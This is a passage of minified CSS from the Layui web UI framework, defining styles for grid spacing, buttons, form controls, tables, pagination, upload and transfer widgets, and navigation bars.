z`*1pWPMJk6YDT`*jK@DV+scf6*{padding:.5px}.layui-col-space2{margin:-1px}.layui-col-space2>*{padding:1px}.layui-col-space4{margin:-2px}.layui-col-space4>*{padding:2px}.layui-col-space5{margin:-2.5px}.layui-col-space5>*{padding:2.5px}.layui-col-space6{margin:-3px}.layui-col-space6>*{padding:3px}.layui-col-space8{margin:-4px}.layui-col-space8>*{padding:4px}.layui-col-space10{margin:-5px}.layui-col-space10>*{padding:5px}.layui-col-space12{margin:-6px}.layui-col-space12>*{padding:6px}.layui-col-space14{margin:-7px}.layui-col-space14>*{padding:7px}.layui-col-space15{margin:-7.5px}.layui-col-space15>*{padding:7.5px}.layui-col-space16{margin:-8px}.layui-col-space16>*{padding:8px}.layui-col-space18{margin:-9px}.layui-col-space18>*{padding:9px}.layui-col-space20{margin:-10px}.layui-col-space20>*{padding:10px}.layui-col-space22{margin:-11px}.layui-col-space22>*{padding:11px}.layui-col-space24{margin:-12px}.layui-col-space24>*{padding:12px}.layui-col-space25{margin:-12.5px}.layui-col-space25>*{padding:12.5px}.layui-col-space26{margin:-13px}.layui-col-space26>*{padding:13px}.layui-col-space28{margin:-14px}.layui-col-space28>*{padding:14px}.layui-col-space30{margin:-15px}.layui-col-space30>*{padding:15px}.layui-btn,.layui-input,.layui-select,.layui-textarea,.layui-upload-button{outline:0;-webkit-appearance:none;transition:all .3s;-webkit-transition:all .3s;box-sizing:border-box}.layui-elem-quote{margin-bottom:10px;padding:15px;line-height:22px;border-left:5px solid #009688;border-radius:0 2px 2px 0;background-color:#f2f2f2}.layui-quote-nm{border-style:solid;border-width:1px 1px 1px 5px;background:0 0}.layui-elem-field{margin-bottom:10px;padding:0;border-width:1px;border-style:solid}.layui-elem-field legend{margin-left:20px;padding:0 10px;font-size:20px;font-weight:300}.layui-field-title{margin:10px 0 20px;border-width:1px 0 0}.layui-field-box{padding:10px 15px}.layui-field-title .layui-field-box{padding:10px 0}.layui-progress{position:relative;height:6px;border-radius:20px;background-color:#e2e2e2}.layui-progress-bar{position:absolute;left:0;top:0;width:0;max-width:100%;height:6px;border-radius:20px;text-align:right;background-color:#5FB878;transition:all .3s;-webkit-transition:all .3s}.layui-progress-big,.layui-progress-big .layui-progress-bar{height:18px;line-height:18px}.layui-progress-text{position:relative;top:-20px;line-height:18px;font-size:12px;color:#666}.layui-progress-big .layui-progress-text{position:static;padding:0 10px;color:#fff}.layui-collapse{border-width:1px;border-style:solid;border-radius:2px}.layui-colla-content,.layui-colla-item{border-top-width:1px;border-top-style:solid}.layui-colla-item:first-child{border-top:none}.layui-colla-title{position:relative;height:42px;line-height:42px;padding:0 15px 0 35px;color:#333;background-color:#f2f2f2;cursor:pointer;font-size:14px;overflow:hidden}.layui-colla-content{display:none;padding:10px 15px;line-height:22px;color:#666}.layui-colla-icon{position:absolute;left:15px;top:0;font-size:14px}.layui-card{margin-bottom:15px;border-radius:2px;background-color:#fff;box-shadow:0 1px 2px 0 rgba(0,0,0,.05)}.layui-card:last-child{margin-bottom:0}.layui-card-header{position:relative;height:42px;line-height:42px;padding:0 15px;border-bottom:1px solid #f6f6f6;color:#333;border-radius:2px 2px 0 0;font-size:14px}.layui-bg-black,.layui-bg-blue,.layui-bg-cyan,.layui-bg-green,.layui-bg-orange,.layui-bg-red{color:#fff!important}.layui-card-body{position:relative;padding:10px 15px;line-height:24px}.layui-card-body[pad15]{padding:15px}.layui-card-body[pad20]{padding:20px}.layui-card-body .layui-table{margin:5px 0}.layui-card .layui-tab{margin:0}.layui-panel-window{position:relative;padding:15px;border-radius:0;border-top:5px solid #E6E6E6;background-color:#fff}.layui-auxiliar-moving{position:fixed;left:0;right:0;top:0;bottom:0;width:100%;height:100%;background:0 0;z-index:9999999999}.layui-form-label,.layui-form-mid,.layui-form-select,.layui-input-block,.layui-input-inline,.layui-textarea{position:relative}.layui-bg-red{background-color:#FF5722!important}.layui-bg-orange{background-color:#FFB800!important}.layui-bg-green{background-color:#009688!important}.layui-bg-cyan{background-color:#2F4056!important}.layui-bg-blue{background-color:#1E9FFF!important}.layui-bg-black{background-color:#393D49!important}.layui-bg-gray{background-color:#eee!important;color:#666!important}.layui-badge-rim,.layui-colla-content,.layui-colla-item,.layui-collapse,.layui-elem-field,.layui-form-pane .layui-form-item[pane],.layui-form-pane .layui-form-label,.layui-input,.layui-layedit,.layui-layedit-tool,.layui-quote-nm,.layui-select,.layui-tab-bar,.layui-tab-card,.layui-tab-title,.layui-tab-title .layui-this:after,.layui-textarea{border-color:#e6e6e6}.layui-timeline-item:before,hr{background-color:#e6e6e6}.layui-text{line-height:22px;font-size:14px;color:#666}.layui-text h1,.layui-text h2,.layui-text h3{font-weight:500;color:#333}.layui-text h1{font-size:30px}.layui-text h2{font-size:24px}.layui-text h3{font-size:18px}.layui-text a:not(.layui-btn){color:#01AAED}.layui-text a:not(.layui-btn):hover{text-decoration:underline}.layui-text ul{padding:5px 0 5px 15px}.layui-text ul li{margin-top:5px;list-style-type:disc}.layui-text em,.layui-word-aux{color:#999!important;padding:0 5px!important}.layui-btn{display:inline-block;height:38px;line-height:38px;padding:0 18px;background-color:#009688;color:#fff;white-space:nowrap;text-align:center;font-size:14px;border:none;border-radius:2px;cursor:pointer}.layui-btn:hover{opacity:.8;filter:alpha(opacity=80);color:#fff}.layui-btn:active{opacity:1;filter:alpha(opacity=100)}.layui-btn+.layui-btn{margin-left:10px}.layui-btn-container{font-size:0}.layui-btn-container .layui-btn{margin-right:10px;margin-bottom:10px}.layui-btn-container .layui-btn+.layui-btn{margin-left:0}.layui-table .layui-btn-container .layui-btn{margin-bottom:9px}.layui-btn-radius{border-radius:100px}.layui-btn .layui-icon{margin-right:3px;font-size:18px;vertical-align:bottom;vertical-align:middle\9}.layui-btn-primary{border:1px solid #C9C9C9;background-color:#fff;color:#555}.layui-btn-primary:hover{border-color:#009688;color:#333}.layui-btn-normal{background-color:#1E9FFF}.layui-btn-warm{background-color:#FFB800}.layui-btn-danger{background-color:#FF5722}.layui-btn-checked{background-color:#5FB878}.layui-btn-disabled,.layui-btn-disabled:active,.layui-btn-disabled:hover{border:1px solid #e6e6e6;background-color:#FBFBFB;color:#C9C9C9;cursor:not-allowed;opacity:1}.layui-btn-lg{height:44px;line-height:44px;padding:0 25px;font-size:16px}.layui-btn-sm{height:30px;line-height:30px;padding:0 10px;font-size:12px}.layui-btn-sm i{font-size:16px!important}.layui-btn-xs{height:22px;line-height:22px;padding:0 5px;font-size:12px}.layui-btn-xs i{font-size:14px!important}.layui-btn-group{display:inline-block;vertical-align:middle;font-size:0}.layui-btn-group .layui-btn{margin-left:0!important;margin-right:0!important;border-left:1px solid rgba(255,255,255,.5);border-radius:0}.layui-btn-group .layui-btn-primary{border-left:none}.layui-btn-group .layui-btn-primary:hover{border-color:#C9C9C9;color:#009688}.layui-btn-group .layui-btn:first-child{border-left:none;border-radius:2px 0 0 2px}.layui-btn-group .layui-btn-primary:first-child{border-left:1px solid #c9c9c9}.layui-btn-group .layui-btn:last-child{border-radius:0 2px 2px 0}.layui-btn-group .layui-btn+.layui-btn{margin-left:0}.layui-btn-group+.layui-btn-group{margin-left:10px}.layui-btn-fluid{width:100%}.layui-input,.layui-select,.layui-textarea{height:38px;line-height:1.3;line-height:38px\9;border-width:1px;border-style:solid;background-color:#fff;border-radius:2px}.layui-input::-webkit-input-placeholder,.layui-select::-webkit-input-placeholder,.layui-textarea::-webkit-input-placeholder{line-height:1.3}.layui-input,.layui-textarea{display:block;width:100%;padding-left:10px}.layui-input:hover,.layui-textarea:hover{border-color:#D2D2D2!important}.layui-input:focus,.layui-textarea:focus{border-color:#C9C9C9!important}.layui-textarea{min-height:100px;height:auto;line-height:20px;padding:6px 10px;resize:vertical}.layui-select{padding:0 10px}.layui-form input[type=checkbox],.layui-form input[type=radio],.layui-form select{display:none}.layui-form [lay-ignore]{display:initial}.layui-form-item{margin-bottom:15px;clear:both;*zoom:1}.layui-form-item:after{content:'\20';clear:both;*zoom:1;display:block;height:0}.layui-form-label{float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right}.layui-form-label-col{display:block;float:none;padding:9px 0;line-height:20px;text-align:left}.layui-form-item .layui-inline{margin-bottom:5px;margin-right:10px}.layui-input-block{margin-left:110px;min-height:36px}.layui-input-inline{display:inline-block;vertical-align:middle}.layui-form-item .layui-input-inline{float:left;width:190px;margin-right:10px}.layui-form-text .layui-input-inline{width:auto}.layui-form-mid{float:left;display:block;padding:9px 0!important;line-height:20px;margin-right:10px}.layui-form-danger+.layui-form-select .layui-input,.layui-form-danger:focus{border-color:#FF5722!important}.layui-form-select .layui-input{padding-right:30px;cursor:pointer}.layui-form-select .layui-edge{position:absolute;right:10px;top:50%;margin-top:-3px;cursor:pointer;border-width:6px;border-top-color:#c2c2c2;border-top-style:solid;transition:all .3s;-webkit-transition:all .3s}.layui-form-select dl{display:none;position:absolute;left:0;top:42px;padding:5px 0;z-index:899;min-width:100%;border:1px solid #d2d2d2;max-height:300px;overflow-y:auto;background-color:#fff;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.12);box-sizing:border-box}.layui-form-select dl dd,.layui-form-select dl dt{padding:0 10px;line-height:36px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.layui-form-select dl dt{font-size:12px;color:#999}.layui-form-select dl dd{cursor:pointer}.layui-form-select dl dd:hover{background-color:#f2f2f2;-webkit-transition:.5s all;transition:.5s all}.layui-form-select .layui-select-group dd{padding-left:20px}.layui-form-select dl dd.layui-select-tips{padding-left:10px!important;color:#999}.layui-form-select dl dd.layui-this{background-color:#5FB878;color:#fff}.layui-form-checkbox,.layui-form-select dl dd.layui-disabled{background-color:#fff}.layui-form-selected dl{display:block}.layui-form-checkbox,.layui-form-checkbox *,.layui-form-switch{display:inline-block;vertical-align:middle}.layui-form-selected .layui-edge{margin-top:-9px;-webkit-transform:rotate(180deg);transform:rotate(180deg);margin-top:-3px\9}:root .layui-form-selected .layui-edge{margin-top:-9px\0/IE9}.layui-form-selectup dl{top:auto;bottom:42px}.layui-select-none{margin:5px 0;text-align:center;color:#999}.layui-select-disabled .layui-disabled{border-color:#eee!important}.layui-select-disabled .layui-edge{border-top-color:#d2d2d2}.layui-form-checkbox{position:relative;height:30px;line-height:30px;margin-right:10px;padding-right:30px;cursor:pointer;font-size:0;-webkit-transition:.1s linear;transition:.1s linear;box-sizing:border-box}.layui-form-checkbox span{padding:0 10px;height:100%;font-size:14px;border-radius:2px 0 0 2px;background-color:#d2d2d2;color:#fff;overflow:hidden}.layui-form-checkbox:hover span{background-color:#c2c2c2}.layui-form-checkbox i{position:absolute;right:0;top:0;width:30px;height:28px;border:1px solid #d2d2d2;border-left:none;border-radius:0 2px 2px 0;color:#fff;font-size:20px;text-align:center}.layui-form-checkbox:hover i{border-color:#c2c2c2;color:#c2c2c2}.layui-form-checked,.layui-form-checked:hover{border-color:#5FB878}.layui-form-checked span,.layui-form-checked:hover span{background-color:#5FB878}.layui-form-checked i,.layui-form-checked:hover i{color:#5FB878}.layui-form-item .layui-form-checkbox{margin-top:4px}.layui-form-checkbox[lay-skin=primary]{height:auto!important;line-height:normal!important;min-width:18px;min-height:18px;border:none!important;margin-right:0;padding-left:28px;padding-right:0;background:0 0}.layui-form-checkbox[lay-skin=primary] span{padding-left:0;padding-right:15px;line-height:18px;background:0 0;color:#666}.layui-form-checkbox[lay-skin=primary] i{right:auto;left:0;width:16px;height:16px;line-height:16px;border:1px solid #d2d2d2;font-size:12px;border-radius:2px;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-checkbox[lay-skin=primary]:hover i{border-color:#5FB878;color:#fff}.layui-form-checked[lay-skin=primary] i{border-color:#5FB878!important;background-color:#5FB878;color:#fff}.layui-checkbox-disbaled[lay-skin=primary] span{background:0 0!important;color:#c2c2c2}.layui-checkbox-disbaled[lay-skin=primary]:hover i{border-color:#d2d2d2}.layui-form-item .layui-form-checkbox[lay-skin=primary]{margin-top:10px}.layui-form-switch{position:relative;height:22px;line-height:22px;min-width:35px;padding:0 5px;margin-top:8px;border:1px solid #d2d2d2;border-radius:20px;cursor:pointer;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch i{position:absolute;left:5px;top:3px;width:16px;height:16px;border-radius:20px;background-color:#d2d2d2;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch em{position:relative;top:0;width:25px;margin-left:21px;padding:0!important;text-align:center!important;color:#999!important;font-style:normal!important;font-size:12px}.layui-form-onswitch{border-color:#5FB878;background-color:#5FB878}.layui-checkbox-disbaled,.layui-checkbox-disbaled i{border-color:#e2e2e2!important}.layui-form-onswitch i{left:100%;margin-left:-21px;background-color:#fff}.layui-form-onswitch em{margin-left:5px;margin-right:21px;color:#fff!important}.layui-checkbox-disbaled span{background-color:#e2e2e2!important}.layui-checkbox-disbaled:hover i{color:#fff!important}[lay-radio]{display:none}.layui-form-radio,.layui-form-radio *{display:inline-block;vertical-align:middle}.layui-form-radio{line-height:28px;margin:6px 10px 0 0;padding-right:10px;cursor:pointer;font-size:0}.layui-form-radio *{font-size:14px}.layui-form-radio>i{margin-right:8px;font-size:22px;color:#c2c2c2}.layui-form-radio>i:hover,.layui-form-radioed>i{color:#5FB878}.layui-radio-disbaled>i{color:#e2e2e2!important}.layui-form-pane .layui-form-label{width:110px;padding:8px 15px;height:38px;line-height:20px;border-width:1px;border-style:solid;border-radius:2px 0 0 2px;text-align:center;background-color:#FBFBFB;overflow:hidden;box-sizing:border-box}.layui-form-pane .layui-input-inline{margin-left:-1px}.layui-form-pane .layui-input-block{margin-left:110px;left:-1px}.layui-form-pane .layui-input{border-radius:0 2px 2px 0}.layui-form-pane .layui-form-text .layui-form-label{float:none;width:100%;border-radius:2px;box-sizing:border-box;text-align:left}.layui-form-pane .layui-form-text .layui-input-inline{display:block;margin:0;top:-1px;clear:both}.layui-form-pane .layui-form-text .layui-input-block{margin:0;left:0;top:-1px}.layui-form-pane .layui-form-text .layui-textarea{min-height:100px;border-radius:0 0 2px 2px}.layui-form-pane .layui-form-checkbox{margin:4px 0 4px 10px}.layui-form-pane .layui-form-radio,.layui-form-pane .layui-form-switch{margin-top:6px;margin-left:10px}.layui-form-pane .layui-form-item[pane]{position:relative;border-width:1px;border-style:solid}.layui-form-pane .layui-form-item[pane] .layui-form-label{position:absolute;left:0;top:0;height:100%;border-width:0 1px 0 0}.layui-form-pane .layui-form-item[pane] .layui-input-inline{margin-left:110px}@media screen and (max-width:450px){.layui-form-item .layui-form-label{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-form-item .layui-inline{display:block;margin-right:0;margin-bottom:20px;clear:both}.layui-form-item .layui-inline:after{content:'\20';clear:both;display:block;height:0}.layui-form-item .layui-input-inline{display:block;float:none;left:-3px;width:auto;margin:0 0 10px 112px}.layui-form-item .layui-input-inline+.layui-form-mid{margin-left:110px;top:-5px;padding:0}.layui-form-item .layui-form-checkbox{margin-right:5px;margin-bottom:5px}}.layui-layedit{border-width:1px;border-style:solid;border-radius:2px}.layui-layedit-tool{padding:3px 5px;border-bottom-width:1px;border-bottom-style:solid;font-size:0}.layedit-tool-fixed{position:fixed;top:0;border-top:1px solid #e2e2e2}.layui-layedit-tool .layedit-tool-mid,.layui-layedit-tool .layui-icon{display:inline-block;vertical-align:middle;text-align:center;font-size:14px}.layui-layedit-tool .layui-icon{position:relative;width:32px;height:30px;line-height:30px;margin:3px 5px;color:#777;cursor:pointer;border-radius:2px}.layui-layedit-tool .layui-icon:hover{color:#393D49}.layui-layedit-tool .layui-icon:active{color:#000}.layui-layedit-tool .layedit-tool-active{background-color:#e2e2e2;color:#000}.layui-layedit-tool .layui-disabled,.layui-layedit-tool .layui-disabled:hover{color:#d2d2d2;cursor:not-allowed}.layui-layedit-tool .layedit-tool-mid{width:1px;height:18px;margin:0 10px;background-color:#d2d2d2}.layedit-tool-html{width:50px!important;font-size:30px!important}.layedit-tool-b,.layedit-tool-code,.layedit-tool-help{font-size:16px!important}.layedit-tool-d,.layedit-tool-face,.layedit-tool-image,.layedit-tool-unlink{font-size:18px!important}.layedit-tool-image input{position:absolute;font-size:0;left:0;top:0;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layui-layedit-iframe iframe{display:block;width:100%}#LAY_layedit_code{overflow:hidden}.layui-laypage{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;margin:10px 0;font-size:0}.layui-laypage>a:first-child,.layui-laypage>a:first-child em{border-radius:2px 0 0 2px}.layui-laypage>a:last-child,.layui-laypage>a:last-child em{border-radius:0 2px 2px 0}.layui-laypage>:first-child{margin-left:0!important}.layui-laypage>:last-child{margin-right:0!important}.layui-laypage a,.layui-laypage button,.layui-laypage input,.layui-laypage select,.layui-laypage span{border:1px solid #e2e2e2}.layui-laypage a,.layui-laypage span{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding:0 15px;height:28px;line-height:28px;margin:0 -1px 5px 0;background-color:#fff;color:#333;font-size:12px}.layui-flow-more a *,.layui-laypage input,.layui-table-view select[lay-ignore]{display:inline-block}.layui-laypage a:hover{color:#009688}.layui-laypage em{font-style:normal}.layui-laypage .layui-laypage-spr{color:#999;font-weight:700}.layui-laypage a{text-decoration:none}.layui-laypage .layui-laypage-curr{position:relative}.layui-laypage .layui-laypage-curr em{position:relative;color:#fff}.layui-laypage .layui-laypage-curr .layui-laypage-em{position:absolute;left:-1px;top:-1px;padding:1px;width:100%;height:100%;background-color:#009688}.layui-laypage-em{border-radius:2px}.layui-laypage-next em,.layui-laypage-prev em{font-family:Sim sun;font-size:16px}.layui-laypage .layui-laypage-count,.layui-laypage .layui-laypage-limits,.layui-laypage .layui-laypage-refresh,.layui-laypage .layui-laypage-skip{margin-left:10px;margin-right:10px;padding:0;border:none}.layui-laypage .layui-laypage-limits,.layui-laypage .layui-laypage-refresh{vertical-align:top}.layui-laypage .layui-laypage-refresh i{font-size:18px;cursor:pointer}.layui-laypage select{height:22px;padding:3px;border-radius:2px;cursor:pointer}.layui-laypage .layui-laypage-skip{height:30px;line-height:30px;color:#999}.layui-laypage button,.layui-laypage input{height:30px;line-height:30px;border-radius:2px;vertical-align:top;background-color:#fff;box-sizing:border-box}.layui-laypage input{width:40px;margin:0 10px;padding:0 3px;text-align:center}.layui-laypage input:focus,.layui-laypage select:focus{border-color:#009688!important}.layui-laypage button{margin-left:10px;padding:0 10px;cursor:pointer}.layui-table,.layui-table-view{margin:10px 0}.layui-flow-more{margin:10px 0;text-align:center;color:#999;font-size:14px}.layui-flow-more a{height:32px;line-height:32px}.layui-flow-more a *{vertical-align:top}.layui-flow-more a cite{padding:0 20px;border-radius:3px;background-color:#eee;color:#333;font-style:normal}.layui-flow-more a cite:hover{opacity:.8}.layui-flow-more a i{font-size:30px;color:#737383}.layui-table{width:100%;background-color:#fff;color:#666}.layui-table tr{transition:all .3s;-webkit-transition:all .3s}.layui-table th{text-align:left;font-weight:400}.layui-table tbody tr:hover,.layui-table thead tr,.layui-table-click,.layui-table-header,.layui-table-hover,.layui-table-mend,.layui-table-patch,.layui-table-tool,.layui-table-total,.layui-table-total tr,.layui-table[lay-even] tr:nth-child(even){background-color:#f2f2f2}.layui-table td,.layui-table th,.layui-table-col-set,.layui-table-fixed-r,.layui-table-grid-down,.layui-table-header,.layui-table-page,.layui-table-tips-main,.layui-table-tool,.layui-table-total,.layui-table-view,.layui-table[lay-skin=line],.layui-table[lay-skin=row]{border-width:1px;border-style:solid;border-color:#e6e6e6}.layui-table td,.layui-table th{position:relative;padding:9px 15px;min-height:20px;line-height:20px;font-size:14px}.layui-table[lay-skin=line] td,.layui-table[lay-skin=line] th{border-width:0 0 1px}.layui-table[lay-skin=row] td,.layui-table[lay-skin=row] th{border-width:0 1px 0 0}.layui-table[lay-skin=nob] td,.layui-table[lay-skin=nob] th{border:none}.layui-table img{max-width:100px}.layui-table[lay-size=lg] td,.layui-table[lay-size=lg] th{padding:15px 30px}.layui-table-view .layui-table[lay-size=lg] .layui-table-cell{height:40px;line-height:40px}.layui-table[lay-size=sm] td,.layui-table[lay-size=sm] th{font-size:12px;padding:5px 10px}.layui-table-view .layui-table[lay-size=sm] .layui-table-cell{height:20px;line-height:20px}.layui-table[lay-data]{display:none}.layui-table-box{position:relative;overflow:hidden}.layui-table-view .layui-table{position:relative;width:auto;margin:0}.layui-table-view .layui-table[lay-skin=line]{border-width:0 1px 0 0}.layui-table-view .layui-table[lay-skin=row]{border-width:0 0 1px}.layui-table-view .layui-table td,.layui-table-view .layui-table th{padding:5px 0;border-top:none;border-left:none}.layui-table-view .layui-table th.layui-unselect .layui-table-cell span{cursor:pointer}.layui-table-view .layui-table td{cursor:default}.layui-table-view .layui-table td[data-edit=text]{cursor:text}.layui-table-view .layui-form-checkbox[lay-skin=primary] i{width:18px;height:18px}.layui-table-view .layui-form-radio{line-height:0;padding:0}.layui-table-view .layui-form-radio>i{margin:0;font-size:20px}.layui-table-init{position:absolute;left:0;top:0;width:100%;height:100%;text-align:center;z-index:110}.layui-table-init .layui-icon{position:absolute;left:50%;top:50%;margin:-15px 0 0 -15px;font-size:30px;color:#c2c2c2}.layui-table-header{border-width:0 0 1px;overflow:hidden}.layui-table-header .layui-table{margin-bottom:-1px}.layui-table-tool .layui-inline[lay-event]{position:relative;width:26px;height:26px;padding:5px;line-height:16px;margin-right:10px;text-align:center;color:#333;border:1px solid #ccc;cursor:pointer;-webkit-transition:.5s all;transition:.5s all}.layui-table-tool .layui-inline[lay-event]:hover{border:1px solid #999}.layui-table-tool-temp{padding-right:120px}.layui-table-tool-self{position:absolute;right:17px;top:10px}.layui-table-tool .layui-table-tool-self .layui-inline[lay-event]{margin:0 0 0 10px}.layui-table-tool-panel{position:absolute;top:29px;left:-1px;padding:5px 0;min-width:150px;min-height:40px;border:1px solid #d2d2d2;text-align:left;overflow-y:auto;background-color:#fff;box-shadow:0 2px 4px rgba(0,0,0,.12)}.layui-table-cell,.layui-table-tool-panel li{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.layui-table-tool-panel li{padding:0 10px;line-height:30px;-webkit-transition:.5s all;transition:.5s all}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary]{width:100%;padding-left:28px}.layui-table-tool-panel li:hover{background-color:#f2f2f2}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary] i{position:absolute;left:0;top:0}.layui-table-tool-panel li .layui-form-checkbox[lay-skin=primary] span{padding:0}.layui-table-tool .layui-table-tool-self .layui-table-tool-panel{left:auto;right:-1px}.layui-table-col-set{position:absolute;right:0;top:0;width:20px;height:100%;border-width:0 0 0 1px;background-color:#fff}.layui-table-sort{width:10px;height:20px;margin-left:5px;cursor:pointer!important}.layui-table-sort .layui-edge{position:absolute;left:5px;border-width:5px}.layui-table-sort .layui-table-sort-asc{top:3px;border-top:none;border-bottom-style:solid;border-bottom-color:#b2b2b2}.layui-table-sort .layui-table-sort-asc:hover{border-bottom-color:#666}.layui-table-sort .layui-table-sort-desc{bottom:5px;border-bottom:none;border-top-style:solid;border-top-color:#b2b2b2}.layui-table-sort .layui-table-sort-desc:hover{border-top-color:#666}.layui-table-sort[lay-sort=asc] .layui-table-sort-asc{border-bottom-color:#000}.layui-table-sort[lay-sort=desc] .layui-table-sort-desc{border-top-color:#000}.layui-table-cell{height:28px;line-height:28px;padding:0 15px;position:relative;box-sizing:border-box}.layui-table-cell .layui-form-checkbox[lay-skin=primary]{top:-1px;padding:0}.layui-table-cell .layui-table-link{color:#01AAED}.laytable-cell-checkbox,.laytable-cell-numbers,.laytable-cell-radio,.laytable-cell-space{padding:0;text-align:center}.layui-table-body{position:relative;overflow:auto;margin-right:-1px;margin-bottom:-1px}.layui-table-body .layui-none{line-height:26px;padding:15px;text-align:center;color:#999}.layui-table-fixed{position:absolute;left:0;top:0;z-index:101}.layui-table-fixed .layui-table-body{overflow:hidden}.layui-table-fixed-l{box-shadow:0 -1px 8px rgba(0,0,0,.08)}.layui-table-fixed-r{left:auto;right:-1px;border-width:0 0 0 1px;box-shadow:-1px 0 8px rgba(0,0,0,.08)}.layui-table-fixed-r .layui-table-header{position:relative;overflow:visible}.layui-table-mend{position:absolute;right:-49px;top:0;height:100%;width:50px}.layui-table-tool{position:relative;z-index:890;width:100%;min-height:50px;line-height:30px;padding:10px 15px;border-width:0 0 1px}.layui-table-tool .layui-btn-container{margin-bottom:-10px}.layui-table-page,.layui-table-total{border-width:1px 0 0;margin-bottom:-1px;overflow:hidden}.layui-table-page{position:relative;width:100%;padding:7px 7px 0;height:41px;font-size:12px;white-space:nowrap}.layui-table-page>div{height:26px}.layui-table-page .layui-laypage{margin:0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span{height:26px;line-height:26px;margin-bottom:10px;border:none;background:0 0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span.layui-laypage-curr{padding:0 12px}.layui-table-page .layui-laypage span{margin-left:0;padding:0}.layui-table-page .layui-laypage .layui-laypage-prev{margin-left:-7px!important}.layui-table-page .layui-laypage .layui-laypage-curr .layui-laypage-em{left:0;top:0;padding:0}.layui-table-page .layui-laypage button,.layui-table-page .layui-laypage input{height:26px;line-height:26px}.layui-table-page .layui-laypage input{width:40px}.layui-table-page .layui-laypage button{padding:0 10px}.layui-table-page select{height:18px}.layui-table-patch .layui-table-cell{padding:0;width:30px}.layui-table-edit{position:absolute;left:0;top:0;width:100%;height:100%;padding:0 14px 1px;border-radius:0;box-shadow:1px 1px 20px rgba(0,0,0,.15)}.layui-table-edit:focus{border-color:#5FB878!important}select.layui-table-edit{padding:0 0 0 10px;border-color:#C9C9C9}.layui-table-view .layui-form-checkbox,.layui-table-view .layui-form-radio,.layui-table-view .layui-form-switch{top:0;margin:0;box-sizing:content-box}.layui-table-view .layui-form-checkbox{top:-1px;height:26px;line-height:26px}.layui-table-view .layui-form-checkbox i{height:26px}.layui-table-grid .layui-table-cell{overflow:visible}.layui-table-grid-down{position:absolute;top:0;right:0;width:26px;height:100%;padding:5px 0;border-width:0 0 0 1px;text-align:center;background-color:#fff;color:#999;cursor:pointer}.layui-table-grid-down .layui-icon{position:absolute;top:50%;left:50%;margin:-8px 0 0 -8px}.layui-table-grid-down:hover{background-color:#fbfbfb}body .layui-table-tips .layui-layer-content{background:0 0;padding:0;box-shadow:0 1px 6px rgba(0,0,0,.12)}.layui-table-tips-main{margin:-44px 0 0 -1px;max-height:150px;padding:8px 15px;font-size:14px;overflow-y:scroll;background-color:#fff;color:#666}.layui-table-tips-c{position:absolute;right:-3px;top:-13px;width:20px;height:20px;padding:3px;cursor:pointer;background-color:#666;border-radius:50%;color:#fff}.layui-table-tips-c:hover{background-color:#777}.layui-table-tips-c:before{position:relative;right:-2px}.layui-upload-file{display:none!important;opacity:.01;filter:Alpha(opacity=1)}.layui-upload-drag,.layui-upload-form,.layui-upload-wrap{display:inline-block}.layui-upload-list{margin:10px 0}.layui-upload-choose{padding:0 10px;color:#999}.layui-upload-drag{position:relative;padding:30px;border:1px dashed #e2e2e2;background-color:#fff;text-align:center;cursor:pointer;color:#999}.layui-upload-drag .layui-icon{font-size:50px;color:#009688}.layui-upload-drag[lay-over]{border-color:#009688}.layui-upload-iframe{position:absolute;width:0;height:0;border:0;visibility:hidden}.layui-upload-wrap{position:relative;vertical-align:middle}.layui-upload-wrap .layui-upload-file{display:block!important;position:absolute;left:0;top:0;z-index:10;font-size:100px;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layui-transfer-active,.layui-transfer-box{display:inline-block;vertical-align:middle}.layui-transfer-box,.layui-transfer-header,.layui-transfer-search{border-width:0;border-style:solid;border-color:#e6e6e6}.layui-transfer-box{position:relative;border-width:1px;width:200px;height:360px;border-radius:2px;background-color:#fff}.layui-transfer-box .layui-form-checkbox{width:100%;margin:0!important}.layui-transfer-header{height:38px;line-height:38px;padding:0 10px;border-bottom-width:1px}.layui-transfer-search{position:relative;padding:10px;border-bottom-width:1px}.layui-transfer-search .layui-input{height:32px;padding-left:30px;font-size:12px}.layui-transfer-search .layui-icon-search{position:absolute;left:20px;top:50%;margin-top:-8px;color:#666}.layui-transfer-active{margin:0 15px}.layui-transfer-active .layui-btn{display:block;margin:0;padding:0 15px;background-color:#5FB878;border-color:#5FB878;color:#fff}.layui-transfer-active .layui-btn-disabled{background-color:#FBFBFB;border-color:#e6e6e6;color:#C9C9C9}.layui-transfer-active .layui-btn:first-child{margin-bottom:15px}.layui-transfer-active .layui-btn .layui-icon{margin:0;font-size:14px!important}.layui-transfer-data{padding:5px 0;overflow:auto}.layui-transfer-data li{height:32px;line-height:32px;padding:0 10px}.layui-transfer-data li:hover{background-color:#f2f2f2;transition:.5s all}.layui-transfer-data .layui-none{padding:15px 10px;text-align:center;color:#999}.layui-nav{position:relative;padding:0 20px;background-color:#393D49;color:#fff;border-radius:2px;font-size:0;box-sizing:border-box}.layui-nav *{font-size:14px}.layui-nav .layui-nav-item{position:relative;display:inline-block;*display:inline;*zoom:1;vertical-align:middle;line-height:60px}.layui-nav .layui-nav-item a{display:block;padding:0 20px;color:#fff;color:rgba(255,255,255,.7);transition:all .3s;-webkit-transition:all .3s}.layui-nav .layui-this:after,.layui-nav-bar,.layui-nav-tree .layui-nav-itemed:after{position:absolute;left:0;top:0;width:0;height:5px;background-color:#5FB878;transition:all .2s;-webkit-transition:all .2s}.layui-nav-bar{z-index:1000}.layui-nav .layui-nav-item a:hover,.layui-nav .layui-this a{color:#fff}.layui-nav .layui-this:after{content:'';top:auto;bottom:0;width:100%}.layui-nav-img{width:30px;height:30px;margin-right:10px;border-radius:50%}.layui-nav 